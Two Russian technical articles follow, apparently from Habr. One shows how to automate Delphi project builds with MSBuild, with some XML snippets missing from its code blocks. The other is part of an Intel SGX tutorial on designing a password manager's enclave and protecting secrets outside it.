Файл проекта современной версии Delphi — это `.dproj`-файл (здесь и далее я буду ориентироваться на Delphi 10 Rio, но с небольшими отличиями это верно для всех более ранних версий Delphi, начиная с 2007). В нём хранятся все настройки проекта, которые обычно изменяют в IDE (меню `Project - Options (Ctrl+Shift+F11)`). В рамках данной статьи я сконцентрируюсь на "основных", которые понадобятся для демонстрации общих принципов: это `Config` — конфигурация, `Platform` — платформа, `OutputDirectory` — путь выходного файла и `ConditionalDefines` (директивы условной компиляции). Остальные настройки, если таковые нужно менять при сборке, я предлагаю выявить самостоятельно. Этот же `.dproj`-файл, если в него заглянуть обычным текстовым редактором, является ничем иным как скриптом сборки [MSBuild](https://ru.wikipedia.org/wiki/MSBuild) (давайте создадим простое консольное приложение и назовём его [DelphiAutomatedBuild](https://github.com/ashumkin/habr-delphi-automate-build-demo)):
```
{6880AD8E-6CB3-47B9-B8E3-7304CF6E9735}
18.1
None
DelphiAutomatedBuild.dpr
True
Debug
Win32
1
Console
...
```
*Скрипты сборки MSBuild также используются для описания проектов, например, Visual Studio. Я коснусь некоторых деталей MSBuild, но я предлагаю читателю самостоятельно освоить его азы*. Что нам это даёт? Это позволяет нам выполнить сборку Delphi-проекта из командной строки одной строчкой (*что, в свою очередь, позволяет автоматизировать сборку проекта*)
```
msbuild /t:build DelphiAutomatedBuild.dproj
```
*Где взять MSBuild? Если установлена Delphi, то MSBuild уже тоже есть, и Delphi его использует. Скорее всего, это каталог `%WINDIR%\Microsoft.Net\Framework\v3.5`, либо найти в каталоге .Net 4.0/4.5/4.6. Но можно и скачать отдельным приложением с сайта [Microsoft](https://www.microsoft.com/ru-ru/download/details.aspx?id=48159). Далее нам понадобится MSBuild минимум 4.0, но пока хватит и того, что по умолчанию*
Если же читатель откроет командную строку в каталоге с проектом (hint: это можно *быстро* сделать, щёлкнув правой кнопкой мыши (ПКМ) на проекте в IDE — *Show in Explorer*, затем в *Проводнике* ПКМ — *Открыть окно команд*), то вышеприведённая команда не сработает:
```
...>msbuild /t:build DelphiAutomatedBuild.dproj
"msbuild" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
```
т.к по умолчанию, пути к MSBuild-у в `PATH` нет. Так что добавим его туда:
```
set PATH=%WINDIR%\Microsoft.Net\Framework\v3.5;%PATH%
```
Теперь повторим:
```
...>msbuild /t:build DelphiAutomatedBuild.dproj
Microsoft (R) Build Engine версии 12.0.21005.1
[Microsoft .NET Framework версии 4.0.30319.42000]
(C) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
Сборка начата 24.11.2018 0:12:14.
Проект "Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" в узле 1 (целевые объекты build).
Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj : error MSB4057: в проекте нет целевого объекта "build".
Сборка проекта "Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" завершена (целевые объекты build) с ошибкой.
Ошибка сборки.
"Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" (целевой объект build ) (1) ->
Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj : error MSB4057: в проекте нет целевого объекта "build".
Предупреждений: 0
Ошибок: 1
Затраченное время: 00:00:00.04
```
Сборка запустилась, но завершилась с ошибкой. В чём же дело? Почему нет задачи `build`?
Тут мы заглянем в `.dproj`-файл, там мы найдём следующее:
```
...
...
```
И если мы откроем файл в каталоге Delphi
`c:\Program Files\Embarcadero\Studio\20.0\Bin\CodeGear.Delphi.Targets`, то мы увидим там ещё один MSBuild-скрипт, в котором объявлена задача `Build`:
Т.е. нужно задать переменную окружения `BDS` (`$(VAR)` в MSBuild разыменовывает как свойство (Property) `VAR`, заданное в скрипте, так и одноимённую переменную окружения), указать в ней путь к той версии Delphi, которая будет компилировать проект (да-да, один и тот же проект можно компилировать разными версиями Delphi, лишь заменив значение переменной окружения `BDS`). Тогда скрипт проекта разыменует `$(BDS)`, найдёт общий `.Targets` файл из каталога Delphi и запустит задачу `Build`.
Сделаем это:
```
set BDS=c:\Program Files\Embarcadero\Studio\20.0
```
**ещё раз**
```
...>msbuild /t:build DelphiAutomatedBuild.dproj
Microsoft (R) Build Engine версии 12.0.21005.1
[Microsoft .NET Framework версии 4.0.30319.42000]
(C) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
Сборка начата 24.11.2018 0:20:40.
Проект "Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" в узле 1 (целевые объекты build).
CreateProjectDirectories:
Создание каталога ".\Win32\Debug".
BuildVersionResource:
C:\Program Files\Embarcadero\Studio\20.0\bin\cgrc.exe -c65001 DelphiAutomatedBuild.vrc -foDelphiAutomatedBuild.res
CodeGear Resource Compiler/Binder
Version 1.2.2 Copyright (c) 2008-2012 Embarcadero Technologies Inc.
Microsoft (R) Windows (R) Resource Compiler Version 6.0.5724.0
Copyright (C) Microsoft Corporation. All rights reserved.
Файл "DelphiAutomatedBuild.vrc" удаляется.
_PasCoreCompile:
C:\Program Files\Embarcadero\Studio\20.0\bin\dcc32.exe -$O- -$W+ --no-config -B -Q -TX.exe -AGenerics.Collections=System.Generics.Collections;Generics.Defaults=System.Generics.Defaults;WinTypes=Winapi.Windows;WinProcs=Winapi.Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE -DDEBUG -E.\Win32\Debug -I"c:\program files\embarcadero\studio\20.0\lib\Win32\debug";"c:\program files\embarcadero\studio\20.0\lib\Win32\release";C:\Users\USER\Documents\Embarcadero\Studio\20.0\Imports;"C:\Program Files\Embarcadero\Studio\20.0\Imports";"C:\Users\Public\Documents\RAD Studio\5.0\Dcp";"C:\Program Files\Embarcadero\Studio\20.0\include";C:\Users\USER\AppData\Local\Programs\TestInsight\Source -LE"C:\Users\Public\Documents\RAD Studio\5.0\Bpl" -LN"C:\Users\Public\Documents\RAD Studio\5.0\Dcp" -NU.\Win32\Debug -NSWinapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;System;Xml;Data;Datasnap;Web;Soap; -O"c:\program files\embarcadero\studio\20.0\lib\Win32\release";C:\Users\USER\Documents\Embarcadero\Studio\20.0\Imports;"C:\Program Files\Embarcadero\Studio\20.0\Imports";"C:\Users\Public\Documents\RAD Studio\5.0\Dcp";"C:\Program Files\Embarcadero\Studio\20.0\include";C:\Users\USER\AppData\Local\Programs\TestInsight\Source -R"c:\program files\embarcadero\studio\20.0\lib\Win32\release";C:\Users\USER\Documents\Embarcadero\Studio\20.0\Imports;"C:\Program Files\Embarcadero\Studio\20.0\Imports";"C:\Users\Public\Documents\RAD Studio\5.0\Dcp";"C:\Program Files\Embarcadero\Studio\20.0\include";C:\Users\USER\AppData\Local\Programs\TestInsight\Source -U"c:\program files\embarcadero\studio\20.0\lib\Win32\debug";"c:\program files\embarcadero\studio\20.0\lib\Win32\release";C:\Users\USER\Documents\Embarcadero\Studio\20.0\Imports;"C:\Program Files\Embarcadero\Studio\20.0\Imports";"C:\Users\Public\Documents\RAD Studio\5.0\Dcp";"C:\Program Files\Embarcadero\Studio\20.0\include";C:\Users\USER\AppData\Local\Programs\TestInsight\Source -CC -V -VN -NB"C:\Users\Public\Documents\RAD Studio\5.0\Dcp" -NH"C:\Users\Public\Documents\RAD Studio\5.0\hpp\Win32" -NO.\Win32\Debug DelphiAutomatedBuild.dpr
Embarcadero Delphi for Win32 compiler version 30.0
Copyright (c) 1983,2015 Embarcadero Technologies, Inc.
19 lines, 0.27 seconds, 100748 bytes code, 26044 bytes data.
Сборка проекта "Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" завершена (целевые объекты build).
Сборка успешно завершена.
Предупреждений: 0
Ошибок: 0
Затраченное время: 00:00:01.32
```
Та-дам! Проект скомпилировался. В выходном каталоге `Win32\Debug` лежит наш `DelphiAutomatedBuild.exe`.
Но это отладочная сборка (по умолчанию, новый проект активируется в Debug-конфигурации), а мы хотим для выпуска релиза собирать Release-конфигурацию ([подробнее про конфигурации](http://docwiki.embarcadero.com/RADStudio/Tokyo/en/Build_Configurations_Overview)). В IDE это сделать легко, но это ручная работа, и это то, чего мы хотим избежать, то ради чего мы читаем эту статью. Заглянем опять в `.dproj`-файл, и заметим в его начале такую строку
```
...
Debug
...
```
Мы ж программисты, и понимаем, что если свойство/переменная `Config`, не задана, то по умолчанию она принимается равной `Debug`. *Это как раз то, что мы меняем в IDE (поменяйте в IDE текущую конфигурацию на Release и сохраните проект — строка сменится на*
```
...
Release
...
```
в коде для контроля исполняемого файла добавим такое:
```
{$IFDEF RELEASE}
WriteLn('This is RELEASE build');
{$ENDIF RELEASE}
{$IFDEF DEBUG}
WriteLn('This is DEBUG build');
{$ENDIF DEBUG}
```
и убедимся, что conditional defines в настройках проекта для Release и Debug-конфигураций содержат RELEASE и DEBUG, соответственно
Так что нужно лишь задать свойство `Config` в нужное нам значение, и собираться будет нужная конфигурация:
```
...>msbuild /t:build DelphiAutomatedBuild.dproj /p:Config=Release
Microsoft (R) Build Engine версии 12.0.21005.1
[Microsoft .NET Framework версии 4.0.30319.42000]
(C) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
Сборка начата 24.11.2018 0:48:30.
Проект "Z:\habr\delphi-automate-build\DelphiAutomatedBuild.dproj" в узле 1 (целевые объекты build).
CreateProjectDirectories:
Создание каталога ".\Win32\Release".
...
```
```
...>Win32\Debug\DelphiAutomatedBuild.exe
This is DEBUG build
...>Win32\Release\DelphiAutomatedBuild.exe
This is RELEASE build
```
Замечательно!
Часто разработчики указывают путь отладочной (а то и релизной) сборки в какой-то каталог на своём диске, но мы автоматизируем сборку и подразумеваем, что выполняться она будет на сервере сборок, а получать выходные файлы непонятно где в файловой системе сервера — как-то неправильно. Значит, мы должны уметь задавать этот выходной путь. Заглянем опять в `.dproj`:
```
...
.\$(Platform)\$(Config)
...
```
но что это? тут нет условия (если не задано), и свойство задаётся всегда, сможем ли мы его переопределить? попробуем
```
...>msbuild /t:build DelphiAutomatedBuild.dproj /p:DCC_ExeOutput=binaries
```
Та-дам! Появился каталог `binaries`, в котором — наш `DelphiAutomatedBuild.exe`. Как же так? Тот, кто уже освоил `MSBuild`, знает, что свойства, заданные при запуске `MSBuild`-а, имеют высший приоритет, и уже не могут быть переопределены в скрипте. Сейчас нас это устраивает. Но с этим мы ещё столкнёмся...
Выходной каталог мы менять научились. Теперь нужно собирать сразу и релизную, и отладочную версии (надеюсь, не надо объяснять зачем такое надо). Конечно, можно запустить сначала с одним параметром `Config` — `Debug`, затем — с другим — `Release`, но это потребует, во-первых, дублирования остальных параметров (например, `DCC_ExeOutput` и параметра версии сборки (об этом — ниже)), а во-вторых, это придётся учитывать и при конфигурировании сервера сборок, что влечёт дублирование и там (либо написание очередного *батничка*, что лишает встроенной поддержки MSBuild-а сервером сборок). Так что требуется выполнить всё ту же одну команду
```
...>msbuild /t:build DelphiAutomatedBuild.dproj /p:DCC_ExeOutput=binaries
```
но она бы выполнила сборку обеих конфигураций. Можно так? Конечно!
Напишем свою задачу `Build`. Поскольку есть нежелание менять что-то в файле, который меняет IDE (часто самым дурацким образом; кстати, есть три замечательных инструмента от автора эксперта [MMX](https://www.mmx-delphi.de/): [DProjNormalizer](https://www.uweraabe.de/Blog/2017/01/18/dproj-changed-or-not-changed/), [DProjSplitter](https://www.uweraabe.de/Blog/2017/08/02/working-in-a-team-dprojsplitter-might-be-helpful/) и сумма их — [ProjectMagician](https://www.uweraabe.de/Blog/2018/05/17/keep-your-project-files-clean-with-project-magician/) — для удобства отслеживания изменений `.dproj`-файлов), то сделаем отдельный файл проекта. Назовём его **DAB.ciproj** (CI-project, от CI — Continuous Integration):
```
```
Запускаем
```
...>msbuild /t:build DAB.ciproj /p:DCC_ExeOutput=binaries
```
и… получаем один файл `DelphiAutomatedBuild.exe` в `binaries`, той конфигурации, что собралась последней:
```
...>binaries\DelphiAutomatedBuild.exe
This is RELEASE build
```
`DCC_Exeoutput` задался и для каждой задачи **MSBuild** — это хорошо, но каждая конфигурация скомпилировала файл в один и тот же каталог. Тогда зададим подкаталоги соответственно конфигурации:
```
```
Запускаем опять
```
...>msbuild /t:build DAB.ciproj /p:DCC_ExeOutput=binaries
```
и теперь на выходе мы имеем два файла
`binaries\Debug\DelphiAutomatedBuild.exe` и `binaries\Release\DelphiAutomatedBuild.exe`.
```
...>binaries\Debug\DelphiAutomatedBuild.exe
This is DEBUG build
...>binaries\Release\DelphiAutomatedBuild.exe
This is RELEASE build
```
Теперь представим, что у нас есть желание/необходимость временно задавать conditional define при сборке проекта (например, у нас есть демо-версия, в которой мы ограничиваем функциональность нашей программы, если задано переменная условной компиляции TRIAL )
В нашем демо-коде это выглядит так
```
{$IFDEF TRIAL}
WriteLn('This is TRIAL version');
{$ENDIF TRIAL}
```
Добавим в Debug-конфигурацию conditional define TRIAL и посмотрим, куда оно прописывается в .dproj:
```
DEBUG;TRIAL;$(DCC\_Define)
```
Ага, т.е. если задать /p:DCC\_Define=TRIAL,
```
...>msbuild /t:build DAB.ciproj /p:DCC_ExeOutput=binaries /p:DCC_Define=TRIAL
```
то
```
...>binaries\Debug\DelphiAutomatedBuild.exe
This is TRIAL version
...>binaries\Release\DelphiAutomatedBuild.exe
This is TRIAL version
```
Сработало, но как-то не так, куда-то делись DEBUG и RELEASE, а нам такого не надо, т.к. у нас там обычно куча полезных define-ов.
А дело в том, что свойства заданные через командную строку имеют высший приоритет, и переопределяют значения в скриптах. Но выход [есть](https://stackoverflow.com/questions/8507372/can-i-add-conditional-defines-in-the-msbuild-command-line/38003499#38003499).
Определяем **переменную окружения** `DCC_Define`:
```
...>set DCC_Define=TRIAL
...>msbuild /t:build DAB.ciproj /p:DCC_ExeOutput=binaries
...
```
```
...>binaries\Debug\DelphiAutomatedBuild.exe
This is DEBUG build
This is TRIAL version
...>binaries\Release\DelphiAutomatedBuild.exe
This is RELEASE build
This is TRIAL version
```
С компиляцией разобрались, теперь можно настраивать сервер сборок, который бы после каждого изменения в центральном репозитории (я ориентируюсь на Git, но для того же SVN это тоже применимо) собирал нам проект, дабы мы ничего не забыли добавить в исходники, и прогонял тесты, буде таковые у нас есть, и мы всегда будем готовы выпустить релиз или отдать на тестирование уже готовую сборку.
Однако ж, при таких частых сборках может стать проблема нумерации версий. Какая? Каждая новая сборка будет иметь ровно ту версию, которая прописана в свойствах проекта, а менять её с каждым коммитом — как-то рутинно и не "по-нашенски", к тому же, зависит от ~~разработчика~~ человека (а что такое "человеческий фактор" — не мне вам рассказывать).
В рамках обычной для Windows/Delphi-проектов нумерации `Major.Minor.Release.Build`, *нормальный* сервер сборок, как правило, умеет увеличивать для каждой сборке число `Release`, и, естественно, передавать её в скрипты сборки. Однако ж, если мы посмотрим на то, как задаётся информация о версии в .dproj-файле
```
CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=
```
мы поймём, что передавать её некуда. И даже если мы додумаемся заменить `FileVersion=0.0.0.0`, например, так `FileVersion=$(Version)`, где `Version` — переменная, которую мы бы передавали при сборке, то сборка из командной строки у нас получится, а вот уже изменять свойства проекта в IDE — нет, т.к. она будет "ругаться" на такое значение. Ну да где наша не пропадала. Видим, что это свойство, значение которого — CSV-список, одно из значений которого нам нужно заменить.
Долго не думая, перейдём сразу к делу. MSBuild 4.0 [умеет понимать скрипты на C#](https://docs.microsoft.com/ru-ru/visualstudio/msbuild/walkthrough-creating-an-inline-task?view=vs-2019), чем мы и воспользуемся (но напомню, что тогда в PATH надо прописать именно его). Накидаем такой файлик
**Delphi.Version.Targets**
```
`// split values as CSV (by ";")
String[] verInfoKeysList = VerInfoKeys.Split(';');
Dictionary<String, String> d = new Dictionary<String, String>();
foreach (String verInfoValue in verInfoKeysList) {
// split values as "key=value"
if (! String.IsNullOrEmpty(verInfoValue)) {
String[] kv = verInfoValue.Split('=');
d.Add(kv[0], kv[1]);
}
}
if (VerInfoProperties.Length > 0) {
foreach (ITaskItem item in VerInfoProperties) {
String value = item.GetMetadata("Value");
if (value.Length > 0) {
Log.LogMessage("{0}: {1}", item.ItemSpec, value);
d.Remove(item.ItemSpec);
d.Add(item.ItemSpec, value);
}
}
}
List<String> L = new List<String>();
foreach (KeyValuePair<String, String> kv in d) {
L.Add(kv.Key + "=" + kv.Value);
}
_Out = String.Join(";", L.ToArray());`
$(FileVersion)
<\_\_SetFileVersion VerInfoKeys="$(VerInfo\_Keys)" VerInfoProperties="@(VerInfoProperties)">
```
Любознательный читатель наверняка уже догадывается как примерно такое использовать.
Добавим в наш `DelphiAutomatedBuild.dproj`
```
...
...
```
*(Условие "$(MSBuildToolsVersion) >= 4.0" необходимо для того, чтобы проект не падал с ошибкой при сборке в IDE, которая, как мы помним, использует MSBuild 3.5, который не поддерживает UsingTask)*
Таким образом, мы импортируем задание `_SetFileVersion`, которое выполнится после задания `_BuildRCFile` (тут я немного срезал угол: это *внутреннее* задание, которое выполняется при сборке проекта — см. `$(BDS)\bin\Codegear.Common.Targets`), и только если задано свойство `FileVersion`. Это задание берёт тот самый CSV-список в переменной `VerInfo_Keys`, разбивает его на пары ключ-значение, заменяет некоторые значения на заданные, и собирает обратно в строку `VerInfo_Keys`.
Поставим в свойствах проекта "Include version information in project" и добавим вывод текущей версии (оставим это за скобками), и:
```
...>msbuild /t:build DAB.ciproj /p:DCC_ExeOutput=binaries /p:FileVersion=4.3.2.1
```
```
...>binaries\Debug\DelphiAutomatedBuild.exe
This is RELEASE build
This is TRIAL version
This file version is 4.3.2.1
...>binaries\Release\DelphiAutomatedBuild.exe
This is DEBUG build
This is TRIAL version
This file version is 4.3.2.1
```
Profit!
### Заключение
Так мы научились автоматизированно собирать Delphi-приложения одной командой, что экономит нам время и нервы, в том числе, за счёт того, что позволяет переложить компиляцию и выпуск релизов на сервер сборок, и тем самым застраховаться от ситуаций, когда проект собирается только на машине разработчика. К тому же, позволяет автоматизировать простановку версии как каждой сборки (на каждый коммит), так и увеличение релизной версии при выпуске релиза.
В дальнейшем я ещё планирую рассказать
1. как запускать статический анализ кода (на примере FixInsight, не реклама!) во время сборки
2. как писать unit-тесты на Delphi (увы, некоторым приходится объяснять ))). И запускать их в пайплане сборки )
3. как "прикрутить" сборку Delphi-проектов к GitLab CI
4. а также, как можно использовать отладчик WinDbg, например, для поиска причин сбоя/падения приложений из-за библиотек, написанных на Delphi (ну, конечно же, как при этом интегрировать формирование необходимых для этого PDB-файлов в автосборку)
З.Ы. Буду рад ответить на любые вопросы, в том числе, в телеграме, как [в личке](https://telegram.me/ashumkin), так и в чатах [@Delphi\_Lazarus](https://telegram.me/Delphi_Lazarus) и [@DelphiCommunity](https://telegram.me/DelphiCommunity) | https://habr.com/ru/post/489960/ | null | ru | null |
# Intel Software Guard Extensions, учебное руководство. Часть 3, проектирование для Intel SGX
В третьей части серии учебных материалов, посвященных расширениям Intel Software Guard Extensions (Intel SGX), мы поговорим о проектировании приложений, использующих Intel SGX. Мы используем принципы, изученные в [первой части](https://habrahabr.ru/company/intel/blog/312002/), и применим их к общей концепции примера приложения Tutorial Password Manager, которая была рассмотрена во [второй части](https://habrahabr.ru/company/intel/blog/317510/). Мы обсудим общую структуру приложения и влияние Intel SGX на нее; мы создадим модель классов, которая даст нам возможность спроектировать и интегрировать анклав.
Пока мы не будем писать код анклавов и интерфейсов анклава, но в этой части статьи предоставляется пример кода. Версия ядра приложения, не использующая Intel SGX, без пользовательского интерфейса, доступна для загрузки. Она сопровождается небольшой тестовой программой — консольным приложением на C# — и образцом файла хранилища паролей.
Проектирование для анклавов
---------------------------
Вот общий подход, который мы будем использовать при проектировании Tutorial Password Manager для Intel SGX:
1. Выявление секретов приложения.
2. Выявление поставщиков и потребителей этих секретов.
3. Определение границы анклава.
4. Приспособление компонентов приложения для анклава.
### Выявление секретов приложения
Первый этап при проектировании приложения, использующего Intel SGX — выявление секретов приложения.
Секрет — это любая информация, которую не должны видеть и знать другие. Доступ к секрету должен быть только у пользователя или у приложения, для которого предназначен этот секрет; доступ не должен предоставляться другим пользователям и приложениям вне зависимости от их уровня прав. В число возможных секретов входят финансовые данные, медицинские карты, личные сведения, данные идентификации, лицензированное содержимое мультимедиа, пароли и ключи шифрования.
В Tutorial Password Manager некоторые элементы сразу считаются секретами, как показано в таблице 1.
`________________________________________
Секрет
________________________________________
Пароли учетных записей пользователя
Имена пользователя учетных записей пользователя
Главный пароль или парольная фраза пользователя
Главный ключ хранилища паролей
Ключ шифрования базы данных учетной записи
________________________________________`
*Таблица 1. Предварительный список секретов приложения.*
Это очевидные секреты, но мы расширим этот список: добавим в него всю информацию учетных записей пользователя, а не только имена пользователя. Пересмотренный лист показан в таблице 2.
`________________________________________
Секрет
________________________________________
Пароли учетных записей пользователя
Информация об ~~именах пользователя~~ учетных записях пользователя
Главный пароль или парольная фраза пользователя
Главный ключ хранилища паролей
Ключ шифрования базы данных учетной записи
________________________________________`
*Таблица 2. Переработанный список секретов приложения.*
Даже если пароли скрыты, информация учетной записи (например, названия служб, URL-адреса) представляет ценность для злоумышленников. Раскрытие этих данных в диспетчере паролей позволит злоумышленникам получить больше возможностей для взлома системы. В частности, располагая этими данными, они смогут осуществлять атаки, направленные непосредственно на службы, возможно, используя методы социальной инженерии или атаки на сброс пароля, чтобы получить доступ к учетной записи владельца, поскольку им известно, кого именно следует атаковать.
### Выявление поставщиков и потребителей секретов приложения
После выявления секретов приложения следует определить их источники и места назначения.
В текущей версии Intel SGX код анклава не шифруется. Это означает, что любой пользователь, располагающий доступом к файлам приложения, может дизассемблировать и проанализировать их. Данные, открытые для просмотра, по определению не могут быть секретом. Это означает, что секреты нельзя статически компилировать в код анклава. Секреты приложения должны происходить извне анклавов и загружаться в анклавы при выполнении. В терминологии Intel SGX это называется предоставлением секретов в анклав.
Когда источник секрета находится в компоненте вне доверенной вычислительной базы (TCB), важно снизить уязвимость секрета для недоверенного кода. (Одна из основных причин важности удаленной аттестации для Intel SGX состоит в том, что благодаря ей поставщик службы может установить отношение доверия с приложением Intel SGX, а затем сформировать ключ шифрования, который можно использовать для передачи зашифрованных секретов в приложение, причем расшифровать их сможет только доверенный анклав в системе клиента.) Аналогичные меры предосторожности требуется соблюдать при экспорте секрета из анклава. Как правило, секреты приложения не следует отправлять в недоверенный код без предварительного шифрования внутри анклава.
К сожалению, в Tutorial Password Manager мы *вынуждены* отправлять секреты в анклав и из анклава, и в определенный момент эти секреты будут в виде обычного текста, без шифрования. Конечный пользователь будет вводить свои учетные данные и пароль с помощью клавиатуры или сенсорного экрана и вызывать их в будущем при необходимости. Пароли учетных записей должны отображаться на экране и даже копироваться в буфер обмена Windows\* по требованию пользователя. Без этого приложение, которое должно быть диспетчером паролей, просто не будет работать нужным образом.
Это означает, что мы не можем полностью устранить уязвимые участки: мы можем только уменьшить их, причем потребуется какая-либо стратегия защиты секретов, когда они выходят за пределы анклава в незашифрованном виде.
| Секрет | Источник | Место назначения |
| --- | --- | --- |
| Пароли учетных записей пользователя | Ввод пользователя\*
Файл хранилища паролей | Пользовательский интерфейс\*
Буфер обмена\*
Файл хранилища паролей |
| Информация учетных записей пользователя | Ввод пользователя\*
Файл хранилища паролей | Пользовательский интерфейс\*
Файл хранилища паролей |
| Главный пароль или парольная фраза пользователя | Ввод пользователя | Функция формирования ключа |
| Главный ключ хранилища паролей | Функция формирования ключа | Шифр ключа базы данных |
| Ключ шифрования хранилища паролей | Формирование случайным образом
Файл хранилища паролей | Шифр хранилища паролей
Файл хранилища паролей |
*Таблица 3. Секреты приложения, их источники и места назначения. Возможные риски безопасности отмечены звездочкой (\*).*
В таблице 3 перечислены источники и места назначения секретов Tutorial Password Manager. Возможные проблемы — области, в которых секреты могут быть доступны для недоверенного кода, — обозначены звездочкой (\*).
### Определение границы анклава
После установления секретов следует очертить границу анклава. Прежде всего, рассмотрим поток данных секретов через основные компоненты приложения. Граница анклава должна:
* Заключать в себе минимальный набор важнейших компонентов, работающих с секретами приложения.
* Заключать внутри себя как можно больше секретов.
* Сводить к минимуму взаимодействие с недоверенным кодом и количество зависимостей от него.
Потоки данных и выбранная граница анклава Tutorial Password Manager показаны на рис. 1.
*Рисунок 1. Потоки данных секретов в Tutorial Password Manager.*
Секреты приложений показаны в виде кружков, причем синие кружки — это секреты, существующие в виде обычного текста (без шифрования) на каком-либо этапе выполнения приложения, а зеленые кружки — секреты, зашифрованные приложением. Граница анклава очерчена вокруг процедур шифрования и дешифрования, функции формирования ключа (KDF) и генератора случайных чисел. Такое решение обеспечивает достижение сразу нескольких целей:
1. Ключ базы данных/хранилища, используемый для шифрования некоторых секретов приложения (информация учетных записей и пароли), формируется внутри анклава и никогда не передается наружу в виде обычного текста.
2. Главный ключ формируется из парольной фразы пользователя внутри анклава и используется для шифрования и расшифровки ключа базы данных/хранилища. Главный ключ является временным и никогда не передается за пределы анклава ни в какой форме.
3. Ключ базы данных/хранилища, информация об учетных записях и пароли учетных записей шифруются внутри анклава при помощи ключей шифрования, скрытых от недоверенного кода (см. №1 и №2).
К сожалению, незашифрованные секреты будут пересекать границу анклава, этого невозможно избежать. На определенном этапе при работе Tutorial Password Manager пользователю придется ввести пароль с клавиатуры или скопировать пароль в буфер обмена Windows. Это небезопасные каналы, их невозможно поместить внутрь анклава, а эти операции необходимы для работы приложения. Потенциально здесь может возникнуть серьезная проблема, осложняемая решением создавать приложение на основе базы управляемого кода.
### Защита секретов вне анклава
Не существует полных решений для защиты незашифрованных секретов снаружи анклава. Существуют лишь стратегиидля уменьшения уязвимости. Лучшее, что можно сделать — свести к минимуму время, в течение которого информация существует в уязвимой форме.
Вот общие рекомендации по обработке конфиденциальных данных в недоверенном коде:
* По окончании работы с буферами данных заполняйте их нулями. Используйте такие функции как *SecureZeroMemory* (Windows) и *memzero\_explicit* (Linux), которые гарантированно не будут оптимизированы компилятором.
* Не используйте контейнеры библиотеки стандартных шаблонов C++ (STL) для хранения конфиденциальных данных. Контейнеры STL используют собственные алгоритмы управления памятью, из-за чего непросто убедиться в безопасной очистке памяти, распределенной объекту, после удаления этого объекта. (Для некоторых контейнеров можно решить эту проблему, используя настраиваемые распределители.)
* При работе с управляемым кодом, таким как .NET, или с языками с автоматическим управлением памятью используйте типы хранилищ, специально предназначенные для хранения защищенных данных. Безопасность других типов хранилищ зависит от работы сборщика мусора и JIT-компиляции, такие хранилища невозможно очищать и освобождать по запросу (либо невозможно вообще).
* Если необходимо поместить данные в буфер обмена, не забудьте очистить буфер через короткое время. В частности, не позволяйте данным оставаться в буфере после завершения работы приложения.
Для проекта Tutorial Password Manager нам придется работать и с собственным, и с управляемым кодом. В собственном коде мы выделим буферы *wchar\_t* и *char*, а с помощью *SecureZeroMemory* очистим их перед высвобождением. В управляемом коде мы используем класс .NET SecureString.
При отправке *SecureString* в неуправляемый код мы будем использовать вспомогательные функции из *System::Runtime::InteropServices* для направления данных.
```
using namespace System::Runtime::InteropServices;
LPWSTR PasswordManagerCore::M_SecureString_to_LPWSTR(SecureString ^ss)
{
IntPtr wsp= IntPtr::Zero;
if (!ss) return NULL;
wsp = Marshal::SecureStringToGlobalAllocUnicode(ss);
return (wchar_t *) wsp.ToPointer();
}
```
При направлении данных в обратную сторону, из собственного кода в управляемый код, можно использовать два метода. Если объект *SecureString* уже существует, используем методы *Clear* и *AppendChar*, чтобы задать новое значение из строки *wchar\_t*.
```
password->Clear();
for (int i = 0; i < wpass_len; ++i) password->AppendChar(wpass[i]);
```
При создании нового объекта *SecureString* мы используем форму конструктора, создающую *SecureString* из существующей строки *wchar\_t*.
```
try {
name = gcnew SecureString(wname, (int) wcslen(wname));
login = gcnew SecureString(wlogin, (int) wcslen(wlogin));
url = gcnew SecureString(wurl, (int) wcslen(wurl));
}
catch (...) {
rv = NL_STATUS_ALLOC;
}
```
Наш диспетчер паролей также поддерживает перенос паролей в буфер обмена Windows. Буфер обмена — небезопасное место для хранения, к которому могут получить доступ другие пользователи. Поэтому Майкрософт не рекомендует размещать там конфиденциальные данные. При этом назначение диспетчера паролей состоит в том, чтобы дать пользователям возможность создавать стойкие пароли, которые им не потребуется запоминать. Также можно будет создавать длинные пароли, состоящие из случайного набора символов, которые было бы непросто вводить вручную. Буфер обмена предоставляет весьма необходимое удобство при определенной степени риска.
Для устранения этого риска нужно соблюдать дополнительные меры предосторожности. Прежде всего, нужно очищать буфер обмена при завершении работы приложения. Это делается в деструкторе одного из наших объектов собственного кода.
```
PasswordManagerCoreNative::~PasswordManagerCoreNative(void)
{
if (!OpenClipboard(NULL)) return;
EmptyClipboard();
CloseClipboard();
}
```
Также мы задаем таймер буфера обмена. При копировании пароля в буфер обмена таймер устанавливается на 15 секунд, после чего выполняется функция очистки буфера обмена. Если таймер уже запущен, то есть новый пароль помещен в буфер обмена до истечения срока действия предыдущего, то прежний таймер отменяется, а вместо него запускается новый.
```
void PasswordManagerCoreNative::start_clipboard_timer()
{
// Use the default Timer Queue
// Stop any existing timer
if (timer != NULL) DeleteTimerQueueTimer(NULL, timer, NULL);
// Start a new timer
if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)clear_clipboard_proc,
NULL, CLIPBOARD_CLEAR_SECS * 1000, 0, 0)) return;
}
static void CALLBACK clear_clipboard_proc(PVOID param, BOOLEAN fired)
{
if (!OpenClipboard(NULL)) return;
EmptyClipboard();
CloseClipboard();
}
```
### Приспособление компонентов приложения для анклава
Итак, когда определены секреты и очерчены границы анклава, пора подумать о структуре приложения с учетом анклава. Существуют строгие ограничения действий, допустимых внутри анклава. Эти ограничения определяют, какие компоненты могут находиться внутри анклава, какие — снаружи, а какие может потребоваться разделить на две части при преобразовании существующих приложений.
